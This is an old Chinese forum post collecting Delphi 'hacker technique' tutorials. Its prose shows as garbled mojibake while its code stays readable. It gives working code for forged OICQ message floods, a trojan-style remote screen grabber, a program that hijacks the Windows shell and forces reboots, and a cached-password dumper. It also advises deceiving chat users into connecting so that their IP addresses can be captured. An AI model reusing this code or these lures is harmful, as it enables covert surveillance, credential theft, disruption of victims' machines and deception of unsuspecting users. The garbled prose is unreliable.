·¢ÐÅÈË: jinqiao (³¤Ò¹ÂþÂþ¡¤ÎÞÐÄ˯Ãß), ÐÅÇø: BorlandDev
±ê  Ìâ: DELPHI±à³ÌÓëºÚ¿Í¼¼Êõ(from www.21road.com)
·¢ÐÅÕ¾: ¹þ¹¤´ó×϶¡Ïã (2000Äê10ÔÂ31ÈÕ20:59:26 ÐÇÆÚ¶þ), Õ¾ÄÚÐżþ

//from www.21road.com
//×£lofeÔçÈÕ»Ö¸´½¡¿µ»
 
DELPHI±à³ÌÓëºÚ¿Í¼¼Êõ
 


¡ù ×·²¶µÄOICQ̽²â¼¼Êõ

·ëÖ¾ºê 


ʵ¼ÊÉÏÄ¿Ç°ËùÓеÄOICQ̽²â·½·¨¶¼Ò»Ñù£¬·¢ËÍÒ»¸öOICQÏûÏ¢¸ø¶Ô·½£¬Æ¾½èOICQ 
µÄ·µ»ØÐÅÏ¢À´Åж϶Է½µÄOICQºÅÂ룬¾ßÌåµÄDELPHIʵÏÖÈçÏ£º 
NMUDP1ÊÇICS¿Ø¼þ°üµÄUDP¿Ø¼þ¡£ 

NMUDP1.ReportLevel := Status_Basic; 
NMUDP1.RemoteHost := edit1.Text; 
NMUDP1.RemotePort := 4000; 


UdpTmpStr :=#$02 +#$03 +#$0a +#$00 +#$78 +#13 +#$A 
+ '88888' +#$1f +#$30 +#$1f + #$33 + #$39 +#$1f 
+FormatDateTime('yyyy-mm-dd',now) 
+#$1f 
+FormatDateTime('hh:mm:ss',now) 
+#$1f 
+ 'ÄãÕýÔÚ±»Ä³Î»ÅóÓѲéѯ¡£ËûʹÓÃÁË×·²¶Õâ¸ö¹¤¾ßÈí¼þ(http://www.zhuibu.
com/)½øÐÐ̽²â£¬´ËOICQºÅ
ÂëÒѾ­±»·´À¡¸ø¶Ô·½¡£' 
+ 'ÐÅÏ¢ËùÌáʾµÄOICQºÅÂëΪÐé¼ÙºÅÂ룬µ«¿ÉÒÔ¼´Ê±»Ø¸´¡£' + #$03; 

if OicqCheck.Checked then begin 
for SendUdpNum:=1 to 10 do begin 
MyStream := TMemoryStream.Create; 
try 
MyStream.Write(UdpTmpStr[1], Length(UdpTmpStr)); 
NMUDP1.SendStream(MyStream); 
finally 
MyStream.Free; 
end; 
end; 
end; 

=================================================================== 



¡ù Ô¶³ÌÆÁĻץȡ,дһ¸öľÂí³ÌÐò±Ø±¸µÄ¼¼ÇÉ 


Ì´¸ïÇÚ


ľÂíµÄÒ»¸öºÜÖØÒªµÄ¹¦ÄܾÍÊÇÔ¶³Ì¼àÊÓÆÁÄ»£¬ÏÂÃæµÄÎÄÕ½²ÊöÁËÔõÑùÀûÓÃUDPЭÒé
À´ÊµÏÖ£¬¶ø²»ÊÇÎÒÃÇ
ͨ³£Óõ½µÄtcp/ipЭÒ飬ºÜÓÐÌØÉ«£¬ÖµµÃһѧ¡£ 

Ò»¡¢ÈíÓ²¼þÒªÇó¡£ 

Windows95/98¶ÔµÈÍø£¬ÓÃÀ´¼àÊӵļÆËã»ú£¨ÒÔϼò³ÆÖ÷¿Ø»ú£©ºÍ±»¼àÊӵļÆËã»ú£¨
ÒÔϼò³ÆÊÜ¿Ø»ú£©¶¼
±ØÐë×°ÓÐTCP/IP Ð­Ò飬²¢ÕýÈ·ÅäÖá£ÈçûÓÐÍøÂ磬Ҳ¿ÉÒÔÔÚһ̨¼ÆËã»úÉϽøÐе÷
ÊÔ¡£ 

¶þ¡¢ÊµÏÖ·½·¨¡£ 

±àÖÆÁ½¸öÓ¦ÓóÌÐò£¬Ò»¸öΪVClient.exe£¬×°ÔÚÊÜ¿Ø»úÉÏ£¬ÁíÒ»¸öΪVServer.exe£¬
×°ÔÚÖ÷¿Ø»úÉÏ¡£
VServer.exeÖ¸¶¨Òª¼àÊÓµÄÊÜ¿Ø»úµÄIPµØÖ·ºÍ½«ÒªÔÚÊÜ¿Ø»úÆÁÄ»ÉÏץȡÇøÓòµÄ´óС
ºÍλÖ㬲¢·¢³öÆÁÄ»
ץȡָÁî¸øVClient.exe£¬VClient.exeµÃµ½Ö¸Áîºó£¬ÔÚÊÜ¿Ø»úÆÁÄ»ÉÏÑ¡È¡Ö¸¶¨ÇøÓò
£¬Éú³ÉÊý¾ÝÁ÷£¬½«
Æä·¢»ØÖ÷¿Ø»ú£¬²¢ÔÚÖ÷¿Ø»úÉÏÏÔʾ³öץȡÇøÓòµÄBMPͼÏó¡£ÓÉÒÔÉϹý³Ì¿ÉÒÔ¿´³ö£¬
¸Ã·½·¨µÄ¹Ø¼üÓжþ£º
Ò»ÊÇÈçºÎÔÚÊÜ¿Ø»úÉϽøÐÐÆÁĻץȡ£¬¶þÊÇÈçºÎͨ¹ýTCP/IPЭÒéÔÚÁ½Ì¨¼ÆËã»úÖд«Êä
Êý¾Ý¡£ 

UDP(User Datagram Protocol£¬ÒâΪÓû§±¨ÎÄЭÒé)ÊÇInternetÉϹ㷺²ÉÓõÄͨÐÅ
ЭÒéÖ®Ò»¡£ÓëTCPЭÒé
²»Í¬£¬ËüÊÇÒ»ÖÖ·ÇÁ¬½ÓµÄ´«ÊäЭÒ飬ûÓÐÈ·ÈÏ»úÖÆ£¬¿É¿¿ÐÔ²»ÈçTCP£¬µ«ËüµÄЧÂÊ
È´±ÈTCP¸ß£¬ÓÃÓÚÔ¶³Ì
ÆÁÄ»¼àÊÓ»¹ÊDZȽÏÊʺϵġ£Í¬Ê±£¬UDP¿Ø¼þ²»Çø·Ö·þÎñÆ÷¶ËºÍ¿Í»§¶Ë£¬Ö»Çø·Ö·¢ËÍ
¶ËºÍ½ÓÊնˣ¬±à³ÌÉÏ
½ÏΪ¼òµ¥£¬¹ÊÑ¡ÓÃUDPЭÒ飬ʹÓÃDelphi 4.0ÌṩµÄTNMUDP¿Ø¼þ¡£ 

Èý¡¢´´½¨ÑÝʾ³ÌÐò¡£ 

µÚÒ»²½£¬±àÖÆVClient.exeÎļþ¡£Ð½¨Delphi¹¤³Ì£¬½«Ä¬ÈÏ´°ÌåµÄNameÊôÐÔÉèΪ¡°
Client¡±¡£¼ÓÈëTNMUDP
¿Ø¼þ£¬NameÊôÐÔÉèΪ¡°CUDP¡±£»LocalPortÊôÐÔÉèΪ¡°1111¡±£¬ÈÿؼþCUDP¼àÊÓÊÜ
¿Ø»úµÄ1111¶Ë¿Ú£¬µ±ÓÐ
Êý¾Ý·¢Ë͵½¸Ã¿Úʱ£¬´¥·¢¿Ø¼þCUDPµÄOnDataReceivedʼþ£»RemotePortÊôÐÔÉèΪ¡°
2222¡±£¬µ±¿Ø¼þCUDP·¢
ËÍÊý¾Ýʱ£¬½«Êý¾Ý·¢µ½Ö÷¿Ø»úµÄ2222¿Ú¡£ 

ÔÚimplementationºóÃæ¼ÓÈë±äÁ¿¶¨Òå 

const BufSize=2048;{ ·¢ËÍÿһ±ÊÊý¾ÝµÄ»º³åÇø´óС } 
var 
BmpStream:TMemoryStream; 
LeftSize:Longint;{ ·¢ËÍÿһ±ÊÊý¾ÝºóÊ£ÓàµÄ×Ö½ÚÊý } 

ΪClientµÄOnCreateʼþÌí¼Ó´úÂ룺 
procedure TClient.FormCreate(Sender: TObject); 
begin 
BmpStream:=TMemoryStream.Create; 
end; 

ΪClientµÄOnDestroyʼþÌí¼Ó´úÂ룺 
procedure TClient.FormDestroy(Sender: TObject); 
begin 
BmpStream.Free; 
end; 

Ϊ¿Ø¼þCUDPµÄOnDataReceivedʼþÌí¼Ó´úÂ룺 
procedure TClient.CUDPDataReceived(Sender: TComponent; 
NumberBytes: Integer; FromIP: String); 
var 
CtrlCode:array[0..29] of char; 
Buf:array[0..BufSize-1] of char; 
TmpStr:string; 
SendSize,LeftPos,TopPos,RightPos,BottomPos:integer; 
begin 
CUDP.ReadBuffer(CtrlCode,NumberBytes);{ ¶ÁÈ¡¿ØÖÆÂë } 
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='show' then 
begin { ¿ØÖÆÂëÇ°4λΪ¡°show¡±±íʾÖ÷¿Ø»ú·¢³öÁË×¥ÆÁÖ¸Áî } 
if BmpStream.Size=0 then { Ã»ÓÐÊý¾Ý¿É·¢£¬±ØÐë½ØÆÁÉú³ÉÊý¾Ý } 
begin 
TmpStr:=StrPas(CtrlCode); 
TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4); 
LeftPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1)); 
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr) 
-Pos(':',TmpStr)); 
TopPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1)); 
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)- 
Pos(':',TmpStr)); 
RightPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1)); 
BottomPos:=StrToInt(Copy(TmpStr,Pos(':',TmpStr 
)+1,Length(TmpStr)-Pos(':',TmpStr))); 
ScreenCap(LeftPos,TopPos,RightPos,BottomPos); { 
½ØÈ¡ÆÁÄ» } 
end; 
if LeftSize>BufSize then SendSize:=BufSize 
else SendSize:=LeftSize; 
BmpStream.ReadBuffer(Buf,SendSize); 
LeftSize:=LeftSize-SendSize; 
if LeftSize=0 then BmpStream.Clear;{ Çå¿ÕÁ÷ } 
CUDP.RemoteHost:=FromIP; { FromIPΪÖ÷¿Ø»úIPµØÖ· } 
CUDP.SendBuffer(Buf,SendSize); { ½«Êý¾Ý·¢µ½Ö÷¿Ø»úµÄ2222¿Ú } 
end; 
end; 

ÆäÖÐScreenCapÊÇ×Ô¶¨Ò庯Êý£¬½ØÈ¡ÆÁĻָ¶¨ÇøÓò£¬ 
´úÂëÈçÏ£º 
procedure TClient.ScreenCap(LeftPos,TopPos, 
RightPos,BottomPos:integer); 
var 
RectWidth,RectHeight:integer; 
SourceDC,DestDC,Bhandle:integer; 
Bitmap:TBitmap; 
begin 
RectWidth:=RightPos-LeftPos; 
RectHeight:=BottomPos-TopPos; 
SourceDC:=CreateDC('DISPLAY','','',nil); 
DestDC:=CreateCompatibleDC(SourceDC); 
Bhandle:=CreateCompatibleBitmap(SourceDC, 
RectWidth,RectHeight); 
SelectObject(DestDC,Bhandle); 
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC, 
LeftPos,TopPos,SRCCOPY); 
Bitmap:=TBitmap.Create; 
Bitmap.Handle:=BHandle; 
BitMap.SaveToStream(BmpStream); 
BmpStream.Position:=0; 
LeftSize:=BmpStream.Size; 
Bitmap.Free; 
DeleteDC(DestDC); 
ReleaseDC(Bhandle,SourceDC); 
end; 
´æΪ¡°C:\VClient\ClnUnit.pas¡±ºÍ¡°C:\VClient\VClient.dpr¡±£¬ 
²¢±àÒë¡£ 

µÚ¶þ²½£¬±àÖÆVServer.exeÎļþ¡£Ð½¨Delphi¹¤³Ì£¬½«´°ÌåµÄNameÊôÐÔÉèΪ¡°
Server¡±¡£¼ÓÈëTNMUDP¿Ø¼þ£¬
NameÊôÐÔÉèΪ¡°SUDP¡±£»LocalPortÊôÐÔÉèΪ¡°2222¡±£¬ÈÿؼþSUDP¼àÊÓÖ÷¿Ø»úµÄ
2222¶Ë¿Ú£¬µ±ÓÐÊý¾Ý·¢
Ë͵½¸Ã¿Úʱ£¬´¥·¢¿Ø¼þSUDPµÄOnDataReceivedʼþ£»RemotePortÊôÐÔÉèΪ¡°1111¡±
£¬µ±¿Ø¼þSUDP·¢ËÍÊý¾Ý
ʱ£¬½«Êý¾Ý·¢µ½ÊÜ¿Ø»úµÄ1111¿Ú¡£¼ÓÈë¿Ø¼þImage1£¬AlignÊôÐÔÉèΪ¡°alClient¡±
£»¼ÓÈë¿Ø¼þButton1£¬
CaptionÊôÐÔÉèΪ¡°½ØÆÁ¡±£»¼ÓÈë¿Ø¼þLabel1£¬CaptionÊôÐÔÉèΪ¡°×ó£ºÉÏ£ºÓÒ£ºÏÂ
¡±£»¼ÓÈë¿Ø¼þEdit1£¬
TextÊôÐÔÉèΪ¡°0:0:100:100¡±£»¼ÓÈë¿Ø¼þLabel2£¬CaptionÊôÐÔÉèΪ¡°ÊÜ¿Ø»úIPµØ
Ö·¡±£»¼ÓÈë¿Ø¼þEdit2£¬
TextÊôÐÔÉèΪ¡°127.0.0.1¡±£» 

ÔÚimplementationºóÃæ¼ÓÈë±äÁ¿¶¨Òå 
const BufSize=2048; 
var 
RsltStream,TmpStream:TMemoryStream; 

ΪServerµÄOnCreateʼþÌí¼Ó´úÂ룺 
procedure TServer.FormCreate(Sender: TObject); 
begin 
RsltStream:=TMemoryStream.Create; 
TmpStream:=TMemoryStream.Create; 
end; 

ΪClientµÄOnDestroyʼþÌí¼Ó´úÂ룺 
procedure TServer.FormDestroy(Sender: TObject); 
begin 
RsltStream.Free; 
TmpStream.Free; 
end; 

Ϊ¿Ø¼þButton1µÄOnClickʼþÌí¼Ó´úÂ룺 
procedure TServer.Button1Click(Sender: TObject); 
var ReqCode:array[0..29] of char;ReqCodeStr:string; 
begin 
ReqCodeStr:='show'+Edit1.Text; 
StrpCopy(ReqCode,ReqCodeStr); 
TmpStream.Clear; 
RsltStream.Clear; 
SUDP.RemoteHost:=Edit2.Text; 
SUDP.SendBuffer(ReqCode,30); 
end; 

Ϊ¿Ø¼þSUDPµÄOnDataReceivedʼþÌí¼Ó´úÂ룺 
procedure TServer.SUDPDataReceived(Sender: TComponent; 
NumberBytes: Integer; FromIP: String); 
var ReqCode:array[0..29] of char;ReqCodeStr:string; 
begin 
ReqCodeStr:='show'+Edit1.text; 
StrpCopy(ReqCode,ReqCodeStr); 
SUDP.ReadStream(TmpStream); 
RsltStream.CopyFrom(TmpStream,NumberBytes); 
if NumberBytes< BufSize then { Êý¾ÝÒѶÁÍê } 
begin 
RsltStream.Position:=0; 
Image1.Picture.Bitmap.LoadFromStream(RsltStream); 
TmpStream.Clear; 
RsltStream.Clear; 
end 
else 
begin 
TmpStream.Clear; 
ReqCode:='show'; 
SUDP.RemoteHost:=Edit2.Text; 
SUDP.SendBuffer(ReqCode,30); 
end; 
end; 

´æΪ¡°C:\VServer\SvrUnit.pas¡±ºÍ 
¡°C:\VServer\VServer.dpr¡±£¬²¢±àÒë¡£ 
---- ËÄ¡¢²âÊÔ¡£ 

1¡¢±¾µØ»ú²âÊÔ£ºÔÚ±¾µØ»úͬʱÔËÐÐVserver.exeºÍVClient.exe£¬ÀûÓóÌÐòµÄĬÈÏ
ÉèÖ㬼´¿ÉʵÏÖ½ØÆÁ¡£
²é¿´¡°¿ØÖÆÃæ°å¡±-¡°ÍøÂ硱-¡°TCP/IP¡±-¡°IPµØÖ·¡±£¬½«³ÌÐòµÄ¡°¿Í»§IPµØÖ·¡±
ÉèΪ¸ÃµØÖ· £¬Í¬ÑùÕý
³£ÔËÐС£ 

2¡¢Ô¶³Ì²âÊÔ£ºÑ¡Ò»Ì¨ÊÜ¿Ø»ú£¬ÔËÐÐVClient.exe£»Áíѡһ̨Ö÷¿Ø»ú£¬ÔËÐÐ
VServer.exe£¬½«¡°ÊÜ¿Ø»úIP
µØÖ·¡±¼´Edit2µÄÄÚÈÝÉèΪÊÜ¿Ø»úµÄIPµØÖ·£¬¡°½ØÆÁ¡±¼´¿É¡£ÒÔÉϼòÒª½éÉÜÁËÔ¶³Ì
ÆÁĻץȡµÄʵÏÖ·½·¨£¬
ÖÁÓÚÔÚÖ÷¿Ø»úÉÏÒ»ÆÁͬʱ¼àÊÓ¶à¸öÊÜ¿Ø»ú£¬¶ÁÕß¿É×ÔÐÐÍêÉÆ¡£ÒÔÉϳÌÐò£¬ÔÚ
Windows98¶ÔµÈÍø¡¢Delphi 
4.0ϵ÷ÊÔͨ¹ý 



===================================================================== 

¡ù ÀûÓÃÍâ¿ÇµÄÑýÖ®ÎÇ 


Ò»¸ö¼òµ¥¶øÇÒ´Ö²ÚµÄÎÞÁĵijÌÐò£¬Æô¶¯Ê±¼ÓÔØ¡£
unit Unit1; 

interface 

uses 
Windows, Messages, SysUtils, Classes,inifiles, Graphics, Controls, 
Forms, Dialogs, 
StdCtrls, ExtCtrls, Buttons; 

type 
TForm1 = class(TForm) 
Timer1: TTimer; 
Label1: TLabel; 
Timer2: TTimer; 
Label2: TLabel; 
SpeedButton1: TSpeedButton; 
procedure Timer1Timer(Sender: TObject); 
procedure FormCreate(Sender: TObject); 
procedure FormClose(Sender: TObject; var Action: TCloseAction); 
procedure Timer2Timer(Sender: TObject); 
procedure SpeedButton1Click(Sender: TObject); 
private 
{ Private declarations } 
public 
{ Public declarations } 
end; 

var 
Form1: TForm1; 

implementation 

{$R *.DFM} 
var 
sysini:tinifile;//¶¨Ò»¸öini£¬×¼±¸¶¯ÊÖÊõ 
j,i:integer; 
procedure TForm1.Timer1Timer(Sender: TObject); 
begin 
exitwindowsex(ewx_reboot,0);//µ¹Êýʱ¼äµ½£¬¹Ø»úÂÞ£¡ 
end; 

procedure TForm1.FormCreate(Sender: TObject); 
var 
hregion,wndHandle : THandle; 
wndClass : array[0..50] of Char; 
k:string; 
begin 
hregion:=createellipticrgn(14,200,350,14);//Ïë»­¸ö²»¹æÔò´°Ìå 
setwindowrgn(handle,hregion,true); 
StrPCopy(@wndClass[0], 'Shell_TrayWnd'); 
wndHandle := FindWindow(@wndClass[0], nil); 
ShowWindow(wndHandle, SW_HIDE); 
i:=60; 
SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW); 
systemparametersinfo(97,1,nil,0);//ÆÁ±ÎÈȼü 
timer1.Enabled:=false; 
sysini:=Tinifile.Create('system.ini'); 
k:=sysini.ReadString('boot','shell',k);//ÕâÀï×¼±¸×ö³ÉÆô¶¯20´Î»Ö¸´£¬ 
if (k='explorer') or (k='explorer.exe') then 
begin 
sysini.WriteInteger('mci','mcicount',20); 
sysini.WriteString('boot','shell',application.ExeName);//ÕâÀïÓÃ×Ô¼ºÌæ»»
µôÁËshell 
end 
end; 

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); 

begin 
systemparametersinfo(97,0,nil,0);//È¡ÏûÆÁ±Î 
end; 

procedure TForm1.Timer2Timer(Sender: TObject); 
begin 
i:=i-1; 
label2.Caption:=inttostr(i); 
if i=1 then 
begin 
timer2.Enabled:=false; 
timer1.Enabled:=true; 
j:=sysini.ReadInteger('mci','mcicount',j); 
j:=j-1; 
if j=1 then 
begin 
sysini.WriteString('boot','shell','explorer.exe');//µ±Æô¶¯ÂúÁË20´Î£¬»Ö¸´
shell 
end; 
end; 
end; 

procedure TForm1.SpeedButton1Click(Sender: TObject);//µ÷ÊÔÓõĠ
begin 
timer1.Enabled:=false; 
timer2.Enabled:=false; 
application.Terminate; 
systemparametersinfo(97,1,nil,0); 
end; 
end. 
»¹´æÔÚ¸öÎÊÌ⣬Õâ¸ö³ÌÐòÀïÃæµÄ´úÂëûÓÐÆÁ±ÎµôAlt+F4,¿ÉÒÔ¸ü»»³É±ðµÄ°ì·¨¡£ 



================================================================= 

¡ù Ð´Ò»¸öÀàPwlViewÃÜÂë²é¿´µÄ³ÌÐò 


ÒÔÏÂÊÇPWLVIEWµÄÔ´´úÂ룺 
unit Unit1; 

interface 

uses 
Windows, SysUtils, Classes, Forms, ShellAPI, Controls, StdCtrls; 

type 
TForm1 = class(TForm) 
GroupBox1: TGroupBox; 
ListBox: TListBox; 
Label1: TLabel; 
Label2: TLabel; 
procedure Label1Click(Sender: TObject); 
procedure FormShow(Sender: TObject); 
private 
{ Private declarations } 
public 
hMPR: THandle; 
end; 

var 
Form1: TForm1; 

const 
Count: Integer = 0; 

function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar;
 dw: DWord): Word; stdcall; 

implementation 

{$R *.DFM} 
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar;
 dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords'; 

type 
PWinPassword = ^TWinPassword; 
TWinPassword = record 
EntrySize: Word; 
ResourceSize: Word; 
PasswordSize: Word; 
EntryIndex: Byte; 
EntryType: Byte; 
PasswordC: Char; 
end; 

var 
WinPassword: TWinPassword; 

function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; 
stdcall; 
var 
Password: String; 
PC: Array[0..$FF] of Char; 
begin 
inc(Count); 

Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize); 
PC[WinPassword.ResourceSize] := #0; 
CharToOem(PC, PC); 
Password := StrPas(PC); 

Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.
ResourceSize); 
Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize); 
PC[WinPassword.PasswordSize] := #0; 
CharToOem(PC, PC); 
Password := Password + ': ' + StrPas(PC); 

Form1.ListBox.Items.Add(Password); 
Result := True; 
end; 

procedure TForm1.Label1Click(Sender: TObject); 
begin 
ShellExecute(GetDesktopWindow, 'open', 'http://wlhyy.126.com', nil, nil,
 0); 
end; 

procedure TForm1.FormShow(Sender: TObject); 
begin 
if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then 
begin 
Application.MessageBox('Can''t load passwords: User is not logon.', 
'Error', mb_Ok or mb_IconWarning); 
Application.Terminate; 
end 
else 
if Count = 0 then 
ListBox.Items.Add('No passwords found...'); 
end; 

end.



====================================================================== 


¡ù ÂÒµ¯IP²éѯ 


ǧÄêÀÏÑý


Õâ¸öÍøÂçÉÏ×ȱµÄ¾ÍÊǻҿͣ¬»Ò¿ÍÃǵĻ°ÌâÓÀԶͣÁôÔÚÔõôÔõô²éÕÒIPÉÏÃ棬Ϊ
ʲôÁË£¿ÒòΪÓÐÁËIP,
¶ÙʱÌì¿Õ¶¼Ã÷ÀÊÁË£¬IGMPÕ¨µ¯..×·²¶..ICQÕ¨µ¯..ľÂíÊ®°Ë°ãÎäÒÕ¶ÙʱÓÐÁËÓÃÎäÖ®
µØ¡£»Ò¿ÍÃÇÒ§À´½ÀÈ¥µÄ
Ëùν֮¼¼Êõ£¬ÆäÖÐËùν֮²éIPµÄ¼¼Êõ£¬¸ù±¾Ì¸²»ÉÏÊÇʲô¼¼Êõ£¬ÆäʵºÜ¼òµ¥£¬¾ÍÕâ
ô¼¸¸ö»¨Ñù...ÕâÀïÂý
ÂýÄóöÀ´É¹É¹Ì«Ñô.. 
ÖÁÓÚ¹ÅÀϵĴÓdosÏÂÃænetstratÕâÀï¾Í²»Ì¸ÁË£¬ÒòΪÔçÓÐÈË×ö³ÉÁËwindows°æ±¾µÄ¡£
¾ÍÄ¿Ç°×î¼òµ¥×îÈÝÒ×
ÉÏÊֵķ½·¨ºÍÔ­Àídz̸һ¶þ£¬µ±È»£¬Èç¹ûÄãÊÇÔÚµçÐÅÊý¾Ý¾Ö¹¤×÷£¬Õâ¸ö¾ÍÃâ¿´ÁË£¬
È¥·þÎñÆ÷¾Í¸ã¶¨... 
Ò»¸öÎÞÁĵĻҿÍ×îϲ»¶×öʲô£¿Õâ¸ö»¹ÓÃ˵£¬Õ¨ÈËߣ¬¼«¶ËÎÞÁĵĻҿÍϲ»¶×öʲô
£¿ÕÒÒ»¶ÎIP°¤¸öÕ¨£¬
Ò»¸ö¼òµ¥µÄɨÃèÆ÷¾ÍÐÐÁË£¬¿´¿´ÄÇЩIPÄÜpingͨ£¬ÉÔ΢ÓеãÄ¿±êµÄ»°£¬ÓÃÓÃ×·²¶µÄ
Ô¹âËÑË÷£¬ËüµÄÔ­Àí
ÊÇÀûÓÃnetbios°¤¸öɨÃè³öÒ»¸öÍø¶ÎÉÏÿ¸ö»î¶¯IPµÄ¼ÆËã»úÃû£¬·Ç³£ºÃÓã¬ÎҺͼ¸
¸öÅóÓÑÔÚÍøÂçÉÏ×Ô½¨Èý
½ÇÖÝ·þÎñÆ÷ÍæÈý½Ç£¬ËûÃÇÔõôÕÒµ½ÎÒµÄIPÄØ£¿¾ÍÓÃÕâ¸ö£¬Ò²²»ÓÃÎÒ°¤¸ö֪ͨÁË£¬ÎÒ
µÄ¼ÆËã»úÃûÊÇwlhsoft
,ËûÃÇһɨÃè¾ÍÖªµÀÁË£¬ºÜʵÓðɣ¿ÓÃÀ´¿ìËÙ׼ȷ²éÕÒÒ»¸ö³¤ÆÚÑøÂíµÄ»úÆ÷Ò²Ìرð
·½±ã¡£ 
µ±Ò»¸öºÀÆøÍòÕɵĻҿÍÔÚÁÄÌìµÄʱºò£¬ÔÚÅÝMMµÄʱºòÓöµ½Á˶ÔÊÖÔõô°ì£¿µ±È»ÊÇÒ»
»÷±ØɱÁË£¬Èç¹ûÊÇÔÚ
oicqÉÏÃæ¾Í·½±ã¶àÁË£¬´ËÀàÕ¨µ¯Èí¼þ¶àÈçţ룬oicqÊÇ»ùÓÚUDPЭÒéµÄÁÄÌ칤¾ß£¬
ЭÒéµÄÌØÐÔ×¢¶¨ÁË°²È«
ÐÔÔ¶Ô¶¸ú²»ÉÏ»ùÓÚTCP/IPЭÒéµÄ¹¤¾ß£¬oicqµÄÿÌõÐÅÏ¢¶¼°üº¬ÁËÄãµÄIPµØÖ·£¬Ö»Ðè
Òª°ÑÊý¾Ý±¨½Ø»ñÏÂÀ´·Ö
Îö¾ÍÖªµÀÁË£¬×öµ½³ÌÐòÀïÃæ¾Í³ÉÁ˻ҿÍÃdz£ÓõÄoicqIP²éѯµÄ¹¤¾ß£¬Ïêϸ×ö·¨ÁíÎÄ
ÔÙ̸¡£ÕâÊÇÀûÓÃÈí¼þµÄ
ȱÏݲéIP¡£ÎÞÐè»Ò¿Í¶¯ÄÔ£¬Ò»Çи㶨¡£ 
Èç¹ûÊÇÔÚÁÄÌìÊÒÀïÃæÔõô°ì£¿Ò»¸öwebÁÄÌìÊÒÈç¹ûÔÚÀïÃæûÓÐȨÏÞ£¬¿´²»µ½IPÊǺÜ
Í´¿àµÄ£¬Èç¹ûÕâ¸öÁÄÌì
ÊÒÖ§³Öhtml,¾ÍºÃ°ìÁË£¬ÎÒÔÚdelphi±à³ÌÀïÃæµÄÌù½éÉÜÁËÔõô×öÒ»¸öIPÁÔÈË£¬¾ÍÓÃ
Ëü£¬ÓÃÄã×Ô¼ºÖÆ×÷µÄÈí
¼þÀ´×¥IP,Ô­Àí²»Óöà˵ÁË£¬¿´¿´ÄÇƪÌù×ӾͺÜÃ÷°×ÁË¡£Ö»ÒªÄãºÍ¶Ô·½µÄ»úÆ÷Óиö
Ö±½ÓµÄ·ÃÎʾͿÉÒÔÁË£¬
ÓÃhtml´úÂëÈöԷ½µÄä¯ÀÀÆ÷Ö±½Ó·ÃÎÊ×Ô¼ºµÄ»úÆ÷£¬Ä¬ÈÏ80¶Ë¿Ú£¬·¢Ò»¸öͼ»òÕßÒ»¸ö
ÒôÀÖ£¬(img src=http
://Äã±¾»úIP/xx.jpg)¼´¿É£¬ÕâÖÖ·½·¨ºÜ¹ÅÀϵģ¬ºÜ¶àÁÄÌìÊÒÒѾ­²»ÄÜʹÓÃhtmlÁË
£¬µ«ÊÇÓÖÔõôÄѵõ½¼¼
Êõ¸ß³¬µÄ»Ò¿ÍÄØ£¿ºÙºÙ£¬±äͨһÏ£¬Óû¨ÑÔÇÉÓï°É£¬ÆÛÆ­¶Ô·½À´·ÃÎÊÄãµÄIP,¡®ÎÒ
ÕÒµ½Ò»¸öºÃÍøվŶ£¡£¡
£¡'´ËÀàµÄ»°ºÜÈÝÒ×°É£¿ÎªÁ˸üÏñÒ»µã£¬¸É´àÈ¥Ãâ·ÑÉêÇëÒ»¸ö yahoo.126.comµÄÓò
ÃûÖ±½ÓÖ¸ÏòÄãµÄIP,ºÙºÙ
£¬µ±È»¶Ô·½Á¬½ÓÄ㣬ËûµÄä¯ÀÀÆ÷»á¿´µ½'webµØÖ·ÒѾ­ÕÒµ½¡¯,µ«ÊÇÎÞÂÛÈçºÎÒ²´ò²»
¿ªÁË¡£ÕâÖÖ·½·¨ÊÇÍò½ðÓÍ
£¬µ½´¦¶¼¿ÉÒÔĨ£¬Ö»ÒªÄãÄÜÑÔÉÆÆ­£¬Ò»Á³ÎÞ¿ÉÌôÌÞµÄÕæ³Ï£¬¾¯ÌèÐÔÔٸߵÄÈ˶¼»á±»
Äãץס.»¹Óм¸ÖÖС·½·¨
£¬±ÈÈçÀûÓ÷ÃÎÊÈÕÖ¾£¬ÁÄÌìÊÒµÄbug°Ñmessage.cgi´ò¿ªÁËÖ®ÀàµÄ£¬¾õµÃû¶à´óÒâ˼
£¬¾ÍÉÏÃæµÄ¼¸¸öС°ì·¨
×ãÒÔÂú×ãÒ»¸ö»Ò¿ÍµÄÈÕ³£ÐèÒªÁË¡£ 



=================================================================== 


¡ù ÔõÑùÓÃdelphiÖÆ×÷Ò»¸öIPhunter(¶À¹Â½£¿ÍµÄIPÁÔÈË£© 


ǧÄêÀÏÑý 


ºÜ¶àÅóÓÑÓùý¶À¹Â½£¿ÍдµÄIPhunter°É£¬ËüÊÇÀûÓÃÔÚÁÄÌìÊÒ·¢Í¼Æ¬µÄÔ­Àí²éÕÒ¶Ô·½
IP£¬Æäʵ²»½ö½öÊÇÁÄÌì
ÊÒ£¬Ö»ÒªÓÐÈ˶ÔÄãµÄ»úÆ÷´æÔÚ·ÃÎÊ£¬¾ÍÄܹ»×¥µ½ËûµÄIP,ÉõÖÁÖ÷»úÃû£¬ÔÚÀÏÑýµÄÈí
¼þÁÔ¹È˵±ÖÐÒ²ÀûÓÃÁËÕâ
¸öÔ­Àí£¬ÔÚdelphiÖÐÊǺÜÈÝÒ×ʵÏֵģ¬ÏÖÔÚÎÒÃÇÓÃdelphiÀ´×öÒ»¸öºÍIPhunterһģ
Ò»ÑùµÄÈí¼þ¡£ 
